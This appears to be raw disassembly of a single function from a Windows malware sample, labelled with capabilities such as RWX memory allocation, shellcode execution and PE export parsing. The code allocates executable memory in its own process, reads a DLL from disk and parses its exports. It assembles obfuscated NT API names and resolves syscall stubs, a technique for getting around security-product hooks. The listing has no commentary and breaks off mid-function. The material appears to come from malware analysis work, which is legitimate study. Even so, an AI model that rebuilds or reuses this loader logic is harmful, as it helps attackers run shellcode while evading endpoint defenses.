Function at 0x2165932e9
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x5ad0
call fcn.2165a4ef0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.2165a4240
lea rax, [rbp + 0x2b92]
lea rdx, [rbp + 0x2b9e]
mov rcx, rax
call fcn.216591ac6
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2b9f]
mov rcx, rax
call fcn.216591b38
lea rdx, [rbp + 0x2380]
mov eax, 0
mov ecx, 0x100
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0x5a20], 0x800
mov dword [rbp + 0x5a1c], 0
mov dword [rbp + 0x5a18], 0
mov qword [rbp + 0x5a10], 0
mov qword [rbp + 0x2300], 0
mov qword [rbp + 0x2308], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2318], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov qword [rbp + 0x2330], 0
mov qword [rbp + 0x2338], 0
mov qword [rbp + 0x2340], 0
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2350], 0
mov qword [rbp + 0x2358], 0
mov qword [rbp + 0x2360], 0
mov qword [rbp + 0x2368], 0
mov qword [rbp + 0x2370], 0
mov qword [rbp + 0x2378], 0
mov qword [rbp + 0x5a08], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5a04], eax
mov eax, dword [rbp + 0x5a04]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x59f8], rax
mov rax, qword [rbp + 0x59f8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x59f0], rax
mov rax, qword [rbp + 0x59f0]
add rax, 0x17
mov qword [rbp + 0x59e8], rax
mov rax, qword [rbp + 0x59e8]
add rax, 0x17
mov qword [rbp + 0x59e0], rax
mov rax, qword [rbp + 0x59e0]
add rax, 0x17
mov qword [rbp + 0x59d8], rax
mov rax, qword [rbp + 0x59d8]
add rax, 0x17
mov qword [rbp + 0x59d0], rax
mov rax, qword [rbp + 0x59d0]
add rax, 0x17
mov qword [rbp + 0x59c8], rax
mov rax, qword [rbp + 0x59c8]
add rax, 0x17
mov qword [rbp + 0x59c0], rax
mov rax, qword [rbp + 0x59c0]
add rax, 0x17
mov qword [rbp + 0x59b8], rax
mov rax, qword [rbp + 0x59b8]
add rax, 0x17
mov qword [rbp + 0x59b0], rax
mov rax, qword [rbp + 0x59b0]
add rax, 0x17
mov qword [rbp + 0x59a8], rax
mov rax, qword [rbp + 0x59a8]
add rax, 0x17
mov qword [rbp + 0x59a0], rax
mov rax, qword [rbp + 0x59a0]
add rax, 0x17
mov qword [rbp + 0x5998], rax
mov rax, qword [rbp + 0x5998]
add rax, 0x17
mov qword [rbp + 0x5990], rax
mov rax, qword [rbp + 0x5990]
add rax, 0x17
mov qword [rbp + 0x5988], rax
mov rax, qword [rbp + 0x5988]
add rax, 0x17
mov qword [rbp + 0x5980], rax
mov rax, qword [rbp + 0x5980]
add rax, 0x17
mov qword [rbp + 0x5978], rax
mov rax, qword [rbp + 0x5978]
add rax, 0x17
mov qword [rbp + 0x5970], rax
mov qword [rbp + 0x22e0], 0
mov qword [rbp + 0x22e8], 0
mov qword [rbp + 0x22ef], 0
mov dword [rbp + 0x22dc], 0
mov qword [rbp + 0x5968], 0
mov dword [rbp + 0x5964], 0
mov dword [rbp + 0x22d8], 0
mov qword [rbp + 0x5958], 0
mov rax, qword [rbp + 0x59f0]
mov qword [sym.z.dll_xjlbQmXQzVwzhQpvrbf], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59e8]
mov qword [sym.z.dll_wUpcQZMqECOkbexNCmX], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59e0]
mov qword [sym.z.dll_XOhOzxOxOQnEqJdBymH], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59d8]
mov qword [sym.z.dll_nxlsXNlwWiXLPrmFmyw], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59d8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59d0]
mov qword [sym.z.dll_GOnMBYobtvnJdpIsnKi], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59d0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59c8]
mov qword [sym.z.dll_dmKVdIVikZsBguCmKHy], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59c8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59c0]
mov qword [sym.z.dll_NGfJizIuVDJMhvdhdwe], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59c0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59b8]
mov qword [sym.z.dll_DkjAzplGOkMyapdSQsT], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59b8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59b0]
mov qword [sym.z.dll_sRDVDRnxjKrdCrmQUTh], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59b0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59a8]
mov qword [sym.z.dll_gmXbNAvHCXEDqgCAaUa], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59a8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x59a0]
mov qword [sym.z.dll_gpjMYoIXGNBRXvmMlzu], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x59a0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5998]
mov qword [sym.z.dll_bsWknVakrWrGJIvFYtk], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5998]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5990]
mov qword [sym.z.dll_PkubzfOknlCRMFGkHYF], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5990]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5988]
mov qword [sym.z.dll_rbTGcIOqxSwdPMYQbPh], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5988]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5980]
mov qword [sym.z.dll_nhRficJcFIEMiuHolol], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5980]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5978]
mov qword [sym.z.dll_aFNtrSDamFclKNBWSlf], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5978]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5970]
mov qword [sym.z.dll_WbemVIeJMhMrXFZWMza], rax
lea rdx, [rbp + 0x22dc]
mov rax, qword [rbp + 0x5970]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x216843e66]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x5968], rax
mov rax, qword [rbp + 0x5968]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x5964], eax
mov ebx, dword [rbp + 0x5964]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x5958], rax
lea r8, [rbp + 0x22d8]
mov ecx, dword [rbp + 0x5964]
mov rdx, qword [rbp + 0x5958]
mov rax, qword [rbp + 0x5968]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x5958]
mov qword [rbp + 0x5950], rax
mov rax, qword [rbp + 0x5950]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5958]
add rax, rdx
mov qword [rbp + 0x5948], rax
mov rax, qword [rbp + 0x5948]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x5944], eax
mov rax, qword [rbp + 0x5948]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x5948]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5a48], rax
mov rax, qword [rbp + 0x5a48]
mov qword [rbp + 0x5938], rax
mov rax, qword [rbp + 0x5a48]
mov qword [rbp + 0x5a40], rax
mov dword [rbp + 0x5a3c], 0
jmp 0x216593b23
mov rax, qword [rbp + 0x5a48]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x216593b14
mov rax, qword [rbp + 0x5a48]
mov qword [rbp + 0x5a40], rax
jmp 0x216593b39
add qword [rbp + 0x5a48], 0x28
add dword [rbp + 0x5a3c], 1
mov rax, qword [rbp + 0x5948]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x5a3c], eax
jl 0x216593aea
mov edx, dword [rbp + 0x5944]
mov rax, qword [rbp + 0x5958]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5a40]
mov rdx, rax
call sym.z.dll_RVAtoRawOffset_unsigned_long_long___IMAGE_SECTION_HEADER_
mov qword [rbp + 0x5930], rax
lea rax, [rbp + 0x2e6f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x2e6f]
lea rax, [rbp + 0x2e40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2e20]
lea rdx, [rbp + 0x2e40]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x216843e8f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d60]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2d20]
lea rdx, [rbp + 0x2d40]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d20]
lea r8, [0x216843e9b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2d00]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2ce0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2cc0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2ca0]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c80]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c60]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c40]
lea r8, [0x216843ea3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2c20]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2c00]
lea r8, [0x216843ea5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2bc0]
lea rdx, [rbp + 0x2be0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2bc0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x2ba0]
lea r8, [0x216843ea7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2be0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2c00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2c20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2c40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2c60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2c80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2ca0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2d00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2d20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2e40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2e6f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x2e70]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x2e70]
mov rcx, qword [rbp + 0x59f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x2e70]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216593fdf
lea rbx, [0x216843ea9]
jmp 0x216593fe6
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x311f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x311f]
lea rax, [rbp + 0x30f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30f0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x216843e9b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2f70]
lea rdx, [rbp + 0x2f90]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2f50]
lea rdx, [rbp + 0x2f70]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2f30]
lea rdx, [rbp + 0x2f50]
lea r8, [0x216843ea3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2f10]
lea rdx, [rbp + 0x2f30]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2ef0]
lea rdx, [rbp + 0x2f10]
lea r8, [0x216843ea5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2ed0]
lea rdx, [rbp + 0x2ef0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2eb0]
lea rdx, [rbp + 0x2ed0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2e90]
lea rdx, [rbp + 0x2eb0]
lea r8, [0x216843ea7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x2e90]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x2e90]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2eb0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2ed0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2ef0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2f10]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2f30]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2f50]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3010]
mov rcx, rax
